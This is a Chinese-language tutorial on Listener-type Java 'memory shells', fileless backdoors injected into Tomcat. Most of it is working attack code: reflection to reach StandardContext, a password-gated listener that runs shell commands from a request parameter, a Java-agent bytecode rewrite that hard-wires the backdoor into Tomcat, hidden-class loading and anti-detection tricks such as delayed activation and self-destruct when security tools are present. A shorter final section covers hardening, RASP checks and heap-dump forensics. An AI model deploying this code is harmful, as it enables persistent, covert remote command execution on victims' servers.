Java内存马——Listener型的两种注入
字数 1537 2025-08-30 06:50:12
Java内存马——Listener型注入技术详解
一、Listener型内存马概述
Listener型内存马通过动态注册恶意事件监听器到Java Web容器中,使其在特定事件发生时执行攻击代码。当注入ServletRequestListener时:
- 每个HTTP请求都会触发
requestInitialized()方法 - 请求结束时触发
requestDestroyed()方法 - 恶意代码对所有请求进行监控,实现隐蔽的后门控制
二、反射API注入方式
适用场景
攻击者已通过RCE、反序列化、文件型WebShell等获取了代码执行能力。
核心原理
利用Java反射机制,绕过编译时类型检查,直接操作Tomcat内部管理监听器的关键对象和方法。
关键步骤详解
1. 获取当前Web应用的StandardContext对象
StandardContext是Tomcat中表示一个Web应用的上下文对象,负责管理Servlet、Filter、Listener等。
获取途径:
方法一:从Thread和ContextClassLoader获取
Thread[] threads = (Thread[]) Thread.class.getMethod("getThreads").invoke(null);
for (Thread thread : threads) {
if (thread == null) continue;
ClassLoader contextClassLoader = thread.getContextClassLoader();
if (contextClassLoader != null && contextClassLoader.toString().contains("WebappClassLoader")) {
try {
Field resourcesField = contextClassLoader.getClass().getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(contextClassLoader);
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext) contextField.get(resources);
break;
} catch (Exception ignored) {}
}
}
方法二:从Request对象获取
ServletRequest request = ...; // 从当前请求或线程局部变量获取
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
standardContext = (StandardContext) standardContextField.get(applicationContext);
2. 定义恶意ServletRequestListener类
public class EvilServletRequestListener implements ServletRequestListener {
private static final String password = "your_secret_cmd_param"; // 触发密码
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
// 检查触发条件(如特定参数)
if (request.getParameter(password) != null) {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
// 执行命令并回显
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}
request.setAttribute("result", sb.toString());
}
}
} catch (Exception e) {
// 静默处理异常,避免日志暴露
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 可选的清理逻辑
}
}
3. 将恶意Listener注入到StandardContext
// 实例化恶意Listener
ServletRequestListener evilListener = new EvilServletRequestListener();
// 获取并调用addApplicationEventListener方法
Method addListenerMethod = StandardContext.class.getDeclaredMethod(
"addApplicationEventListener", Object.class);
addListenerMethod.setAccessible(true);
addListenerMethod.invoke(standardContext, evilListener);
// Tomcat 9+需要触发Listener启动
try {
Method listenerStartMethod = StandardContext.class.getDeclaredMethod("listenerStart");
listenerStartMethod.setAccessible(true);
listenerStartMethod.invoke(standardContext);
} catch (NoSuchMethodException e) {
// 兼容旧版本Tomcat
}
反射注入的优缺点
优点:
- 逻辑相对直接,利用现有漏洞或入口即可完成
缺点:
- 依赖获取StandardContext的能力,路径可能因Tomcat版本或环境而异
- 会在内存中创建新的类,在Heap Dump中相对容易被发现
- 应用重启后失效(除非注入到共享类加载器域)
三、Instrumentation API注入方式
适用场景
需要更高持久化和隐蔽性(如利用反序列化漏洞加载Agent),或需注入到更底层。
核心原理
使用Java Agent的ClassFileTransformer在Tomcat核心类加载时修改其字节码,直接在关键类(如StandardContext)的初始化逻辑中"硬编码"注册恶意Listener的代码。
关键步骤详解
1. 获取Instrumentation实例
通过premain方法(启动时Agent)或agentmain方法(运行时Attach Agent)传入。
2. 定义ClassFileTransformer
public class ListenerInjector implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if ("org/apache/catalina/core/StandardContext".equals(className)) {
return injectListener(classfileBuffer);
}
return null;
}
private byte[] injectListener(byte[] originalBuffer) {
ClassReader cr = new ClassReader(originalBuffer);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
// 在startInternal方法中注入
if ("startInternal".equals(name) && "()V".equals(desc)) {
return new MethodVisitor(Opcodes.ASM9, mv) {
private boolean injected = false;
@Override
public void visitMethodInsn(int opcode, String owner,
String name, String desc, boolean itf) {
// 在listenerStart调用后注入
if (!injected && "listenerStart".equals(name)
&& "()V".equals(desc)
&& "org/apache/catalina/core/StandardContext".equals(owner)) {
super.visitMethodInsn(opcode, owner, name, desc, itf);
injectListenerRegistration(mv);
injected = true;
return;
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
};
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
}
private void injectListenerRegistration(MethodVisitor mv) {
// 创建监听器实例
mv.visitTypeInsn(Opcodes.NEW, "com/attacker/StealthListener");
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL,
"com/attacker/StealthListener", "<init>", "()V", false);
// 获取this引用
mv.visitVarInsn(Opcodes.ALOAD, 0);
// 交换栈顶元素 (listener和this)
mv.visitInsn(Opcodes.SWAP);
// 调用addApplicationEventListener
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"org/apache/catalina/core/StandardContext",
"addApplicationEventListener", "(Ljava/lang/Object;)V", false);
}
}
3. 注册Transformer并重定义类
instrumentation.addTransformer(transformer, true); // true表示可retransform
// 触发目标类的重加载
instrumentation.retransformClasses(StandardContext.class);
Instrumentation注入的优缺点
优点:
- 隐蔽性极高:恶意代码直接"编译"进Tomcat核心类
- 持久化强:只要修改后的类被加载,Listener就被注册
- 绕过基于类/ClassLoader的检测
缺点:
- 实现复杂,需要深入字节码操作
- 依赖加载Java Agent的能力
- 不同Tomcat版本字节码结构差异大
- RASP或深度Hook技术可能检测到关键类被修改
四、高级注入技术
1. 隐身类加载技术
public class HiddenClassLoader extends ClassLoader {
public Class<?> defineHiddenClass(byte[] bytes) {
return super.defineClass(null, bytes, 0, bytes.length);
}
}
// 生成无类名的监听器字节码
ClassPool pool = ClassPool.getDefault();
CtClass listenerClass = pool.makeClass(null);
listenerClass.addInterface(pool.get("javax.servlet.ServletRequestListener"));
// 添加方法逻辑
CtMethod method = CtNewMethod.make(
"public void requestInitialized(ServletRequestEvent e) {...}", listenerClass);
listenerClass.addMethod(method);
// 注册匿名类
byte[] bytecode = listenerClass.toBytecode();
Class<?> anonymousListener = new HiddenClassLoader().defineHiddenClass(bytecode);
2. 环境自适应注入
// 检测Tomcat版本
String tomcatVersion = System.getProperty("tomcat.util.http.ServerInfo");
int majorVersion = Integer.parseInt(tomcatVersion.split("/")[1].split("\\.")[0]);
// 版本特定的注入点
switch (majorVersion) {
case 7: injectTomcat7Specific(); break;
case 8: injectTomcat8Specific(); break;
case 9: injectTomcat9Specific(); break;
case 10: injectTomcat10Jakarta(); break;
default: injectGeneric();
}
3. 反检测技术
// 时间延迟激活
long installTime = System.currentTimeMillis();
if (System.currentTimeMillis() < installTime + TimeUnit.DAYS.toMillis(2)) {
return; // 安装后两天内不激活
}
// 环境检测绕过
String user = System.getProperty("user.name");
if ("admin".equals(user) || "root".equals(user)) {
return; // 管理员环境不激活
}
// 内存马心跳检测
if (checkSecurityToolsRunning()) {
selfDestruct(); // 检测到安全工具时自毁
}
五、防御与检测方案
1. Tomcat安全加固配置
<!-- conf/context.xml -->
<Context>
<!-- 禁止动态添加监听器 -->
<JarScanner>
<JarScanFilter defaultPluggabilityScan="false"
defaultTldScan="false" pluggabilityScan="none" tldScan="none"/>
</JarScanner>
<!-- 启用安全管理器 -->
<Manager className="org.apache.catalina.session.StandardManager"
secureRandomProvider="SUN" secureRandomAlgorithm="SHA1PRNG"/>
<!-- 限制类加载 -->
<Loader delegate="true" reloadable="false"/>
</Context>
2. 运行时检测技术
RASP检测点:
// 检测点1:StandardContext.addApplicationEventListener调用
public void detectListenerInjection(Method method, Object[] args) {
if ("addApplicationEventListener".equals(method.getName())
&& args.length == 1 && args[0] != null) {
Class<?> listenerClass = args[0].getClass();
if (isMaliciousClass(listenerClass)) {
blockInjection();
}
if (isCalledFromUnusualPath()) {
logAndAlert();
}
}
}
// 检测点2:ServletRequestListener.requestInitialized行为分析
public void monitorRequestListener(ServletRequestEvent event) {
long start = System.nanoTime();
try {
proceed(event); // 执行原始逻辑
} finally {
long duration = System.nanoTime() - start;
if (duration > TimeUnit.MILLISECONDS.toNanos(100)) {
analyzeStackTrace();
}
if (containsRuntimeExec(Thread.currentThread().getStackTrace())) {
blockAndIsolate();
}
}
}
3. 内存取证分析
使用MAT分析Heap Dump:
-
查找可疑的Listener实例:
SELECT * FROM INSTANCEOF javax.servlet.ServletRequestListener WHERE toString(it).indexOf("com.example") >= 0 -
分析StandardContext的监听器列表:
SELECT * FROM OBJECT org.apache.catalina.core.StandardContext s WHERE s.applicationEventListeners != null -
检测包含命令执行特征的类:
SELECT * FROM OBJECTS WHERE (toString(it).contains("Runtime.exec") OR toString(it).contains("ProcessBuilder")) AND it.getClass() != null
六、总结
Listener型内存马是Java Web安全领域的高级攻击技术,具有隐蔽性强、持久化程度高的特点。防御此类攻击需要从多个层面入手:
- 加固Tomcat配置,限制动态组件注册
- 部署RASP等运行时防护系统
- 定期进行内存取证分析
- 监控关键API调用和异常行为模式
理解这些攻击技术的原理和实现方式,有助于安全人员更好地防御和检测此类高级威胁。